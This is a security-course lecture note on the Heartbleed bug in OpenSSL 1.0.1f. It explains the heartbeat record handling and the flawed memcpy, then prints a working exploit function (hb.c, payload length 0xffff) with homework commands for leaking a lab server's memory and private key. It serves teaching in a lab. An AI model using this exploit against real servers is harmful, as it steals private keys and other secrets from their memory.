Lecture 11. Heartbeat

1. ssl3\_write\_bytes

All ssl packets are written with ssl/s3\_pkt.c/ssl3\_write\_bytes()

1) Sending HANDSHAKE

ssl/ssl\_lib.c:SSL\_connect(s) => ssl3\_connect(s) => ssl3\_client\_hello(s)

=> ssl3\_do\_write(s, SSL3\_RT\_HANDSHAKE)

=> ssl3\_write\_bytes(s, SSL3\_RT\_HANDSHAKE, buf, len) // 0x16

2) Sending APPLICATION\_DATA

ssl/ssl\_lib.c:SSL\_write(s, buf, n) => ssl/s3\_lib.c:ssl3\_write(s, buf, n)

=> ssl3\_write\_bytes(s, SSL3\_RT\_APPLICATION\_DATA, buf, n) // 0x17

3) Sending HEARTBEAT

ssl3\_write\_bytes(s, TLS1\_RT\_HEARTBEAT, buf, len) // 0x18

buf contains hearbeat message

message type (1 byte) : TLS1\_HB\_REQUEST(1), TLS1\_HB\_RESPONSE(2)

payload length (2 byte)

payload (n bytes)

padding (at least 16 bytes)

Example heartbeat packet

00 0c 29 ......... ether header, IP header, TCP header

18 03 01 00 20 content type=0x18 (Heartbeat), version=0301(TLS 1.0), length=0x0020

d9 d2 1b ......... heartbeat message (encrypted). 01 ff ff (unencrypted)

When receiving HEARTBEAT packet, the server should echo with the same payload.

2. ssl3\_read\_bytes

SSL packets are read by ssl/s3\_pkt.c/ssl3\_read\_bytes()

ssl3\_read\_bytes() responds to HB\_REQUEST by echoing with the same payload. It calls ssl/t1\_lib.c/tls1\_process\_heartbeat() for HEARBET packets.

int tls1\_process\_heartbeat(SSL \*s){

unsigned char \*p = &s->s3->rrec.data[0], \*pl;

unsinged short hbtype; // message type

unsigned int payload; // payload length

hbtype = \*p++; // read message type

n2s(p, payload); // read payload length. n2s is network to system for 2 bytes

pl = p; // pl points to the beginning of payload

if (hbtype == TLS1\_HB\_REQUEST){ // respond to heartbeat request

unsigned char \*buffer, \*bp;

buffer = OPENSSL\_malloc(1+2+payload+padding);

bp=buffer;

\*bp++=TLS1\_HB\_RESPONSE; // write message type

s2n(payload, bp); // write payload length. s2n is system to network

memcpy(bp, pl, payload); // echo the same payload

.....

ssl3\_write\_bytes(s, TLS1\_RT\_HEARTBEAT, buffer, ...); // and send it back

}

}

3. Heartbleed attack

By setting payload length to 0xffff, we can read 0xffff bytes of memory in the SSL server.

hb.c

.............

void \*heartbleed(connection \*c, unsigned int type){

// type is 1. send heartbeat

unsigned char \*buf, \*p;

buf=OPENSSL\_malloc(1+2); // for message type and length

p=buf;

\*p++=TLS1\_HB\_REQUEST; // heartbeat request

// now fill in length field

switch (type){

case 0:

s2n(0x0, p);

break;

case 1:

s2n(0xffff, p); // this is our case. set length=0xffff

break;

default:

s2n(type, p); // the user can specify the length

break;

}

// now send

ret=ssl3\_write\_bytes(c->sslHandle, TLS1\_RT\_HEARTBEAT, buf, 3);

OPENSSL\_free(buf);

return c;

}

4. Attack scenario

run hb (the attacker)

=> send HEARTBEAT packet with

message type= TLS1\_HB\_REQUEST

payload length=0xffff

=> SSL server receives this packet, stores in s->s3->rrec->data[], and calls

tls1\_process\_heartbeat(SSL \*s)

s->s3->rrec->data:

data[0]: TLS1\_HB\_REQUEST

data[1],data[2]: 0xffff

=> tsl1\_process\_heartbeat tries to echo the payload data in rrec->data by the amount indicated in data[1] and data[2]. It assumes the payload data starts at rrec->data[3].

.................

memcpy(bp, pl, payload); // bp points to a response packet buffer

// pl points to rrec->data[3]. payload=0xffff

// copy 0xffff bytes from rrec->data[3] into buffer

ssl3\_write\_bytes(s, TLS1\_RT\_HEARTBEAT, buffer, ...); // and send to the attacker

=> the attacker receives 0xffff bytes of the server memory starting at rrec->data[3]

5. Homework

1) Try hb.c.

$ cp ../../hb.c .

Move hb.c to openssl-1.0.1f/demos/ssl directory and compile.

$ gcc -L/home/sec/12345/openssl/lib -I/home/sec/12345/openssl/include

-o hb hb.c -lssl -lcrypto -ldl

Run server and hb.

$ ./serv

In another window (use your SSL server's ip and port number)

$ ./hb –s 165.246.38.151 –p 12345 –f out –t 1

The result should be in file "out". See "out" with xxd and find the server certificate information.

2) Modify hb.c

void \* heartbleed(...){

........

buf = OPENSSL\_malloc(1+2+512);

...........

switch(type){

..........

}

\*p++='a'; \*p++='b'; // 2 byte payload ("ab")

....

ret = ssl3\_write\_bytes(...., buf, 3 + 2);

.......

}

Recompile hb.c, run server, and run hb (in another window) with type 2.

(You have to remove old "out" file before running hb.)

$ gcc -L/home/sec/12345/openssl/lib -I/home/sec/12345/openssl/include

-o hb hb.c -lssl -lcrypto -ldl

$ ./serv

$ ./hb –s 165.246.38.151 –p 12345 –f out –t 2

Confirm the server echoes "ab" in the file "out".

3-1) Draw the SSL packet generated in 1) and 2) respectively.

3-2) Explain why you have different result in 1) and 2) above by analyzing "hearbleed()" function in hb.c and "tls1\_process\_heartbeat()" function in ssl/t1\_lib.c.

4). Modify ssl source such as follows so that it displays server private key and its memory location.

4.1) openssl-1.0.1f/include/openssl/ssl.h

Add

BN\_ULONG \* print\_server\_priv\_key(const SSL\_CTX \*ctx);

after C linkage reference as below

.................

#ifdef \_\_cplusplus

extern "C" {

#endif

BN\_ULONG \* print\_server\_priv\_key(const SSL\_CTX \*ctx);

.....................

- extern “C” declaration prevents C++ compiler from changing file names.

- BN\_ULONG stands for Big Number Unsigned Long

4.2) openssl-1.0.1f/ssl/s3\_srvr.c

Define print\_server\_priv\_key() here

void print\_key(unsigned char \*pkey){

int i;

for(i=0;i<128;i++){ // assume 1024 bit private

printf("%2x:",pkey[i]);

if ((i+1)%15==0) printf("\n");

}

printf("\n");

}

BN\_ULONG \*print\_server\_priv\_key(const SSL\_CTX \*ctx){ // refer to lect12

CERT \*ct=ctx->cert;

EVP\_PKEY \*epkey=ct->key->privatekey;

BN\_ULONG \*priv=epkey->pkey.rsa->d->d;

unsigned char \*pkey=(unsigned char \*)priv;

print\_key(pkey);

return pkey;

}

4.3) Call this function in serv.cpp after SSL\_CTX\_check\_private\_key function call.

if (!SSL\_CTX\_check\_private\_key(ctx)){

.................

}

BN\_ULONG \*pkey=print\_server\_priv\_key(ctx);

printf("private key location:%p\n", pkey);

4.4) What is the memory address of the server's private key? Check whether this server private key is correct. It should match privateExponent in

servkey.txt (generated as in below) in reverse order.

openssl rsa -in servkey.pem -text -out servkey.txt

5) Perform Heartbleed attack as follows to obtain the server's private key. We know the memory location of the server's private key. We check whether the leaked memory can contain this address. To find out this, we modify the kernel such that it displays the leaking memory address.

5.1) Modify ssl/t1\_lib.c/tls1\_process\_heartbeat() to display the leaking memory address.

...........

if (hbtype==TLS1\_HB\_REQUEST){ // heartbeat packet is processed here

.............

printf("leaking mem addr:%p\n", pl);

memcpy(bp, pl, payload);

.............

}

5.2) Run server and hb.

$ ./serv

$ ./hb –s 165.246.38.151 –p 12345 –f out –t 1

The system will show the leaking memory location and the contents. If the leaking address is lower than server private key location and the distance is less than 65535, the dumped output will contain the server private key.

6) How can you fix SSL to prevent Heartbleed attack?